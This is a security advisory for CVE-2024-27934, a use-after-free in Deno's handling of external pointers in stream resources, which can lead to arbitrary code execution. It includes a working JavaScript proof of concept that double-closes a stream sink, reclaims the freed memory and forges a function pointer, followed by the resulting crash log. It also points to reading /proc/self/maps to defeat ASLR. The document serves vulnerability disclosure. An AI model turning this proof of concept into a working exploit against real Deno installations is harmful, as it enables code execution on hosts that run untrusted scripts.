CVE-2024-27934: *const c_void / ExternalPointer unsoundness leading to use-after-free

Summary

Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, resulting in arbitrary code execution.

Details

const cvoid and ExternalPointer (defined via external!() macros) types are used to represent v8::External wrapping arbitrary void with an external lifetime. This is inherently unsafe as we are effectively eliding all Rust lifetime safety guarantees.

const cvoid is trivially unsafe. ExternalPointer attempts to resolve this issue by wrapping the underlying pointer with a usized marker (ExternalWithMarker<T>).

However, the marker relies on the randomness of PIE address (binary base address) which is still trivially exploitable for a non-PIE binary. It is also equally exploitable on a PIE binary when an attacker is able to derandomize the PIE address. This is problematic as it escalates an information leak of the PIE address into an exploitable vulnerability.

Note that an attacker able to control code executed inside the Deno runtime is very likely to be able to bypass ASLR with any means necessary (e.g. by chaining another vulnerability, or by using other granted permissions such as --allow-read to read /proc/self/maps).

PoC

For simplicity, we use Deno version 1.38.0 where streaming operations uses const cvoid. Testing environment is Docker image denoland/deno:alpine-1.38.0@sha256:fe51a00f4fbbaf1e72b29667c3eeeda429160cef2342f22a92c3820020d41f38 although the exact versions shouldn't matter much if it's in 1.36.2 up to 1.38.0 (before ExternalPointer patch, refer Impact section for details)

js const ops = Deno[Deno.internal].core.ops; const rid = ops.opreadablestreamresourceallocate(); const sink = ops.opreadablestreamresourcegetsink(rid);

// close ops.opreadablestreamresourceclose(sink); ops.opreadablestreamresourceclose(sink);

// reclaim BoundedBufferChannelInner const ab = new ArrayBuffer(0x8058); const dv = new DataView(ab);

// forge chunk contents dv.setBigUint64(0, 2n, true); dv.setBigUint64(0x8030, 0x1337c0d30000n, true);

// trigger segfault Deno.close(rid);

Below is the dmesg log after the crash. We see that Deno has segfaulted on 1337c0d30008, which is +8 of what we have written at offset 0x8030. Note also that the dereferenced value will immediately be used as a function pointer, with the first argument dereferenced from offset 0x8038 - it is trivial to use this to build an end-to-end exploit.

text [ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0) [ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48

The same vulnerability exists for ExternalPointer implementation, but now it is required for the attacker to either leak the PIE address somehow, or else exploit unexpected aliasing behavior of v8::External values. The latter has not been investigated in depth, but it is theoretically possible to alias the same underlying pointer to different v8::External on different threads (Workers) and exploit the concurrency (RefCell may break this though).

Impact

Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, which is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.

This bug is known to be exploitable for both const cvoid and ExternalPointer implementations.

Affected versions of Deno is from 1.36.2 up to latest.

- ext/web/streamresource.rs: - const cvoid introduced in 1.36.2 - Patched into ExternalPointer in 1.38.1 - ext/http/httpnext.rs: - ExternalPointer introduced in 1.38.2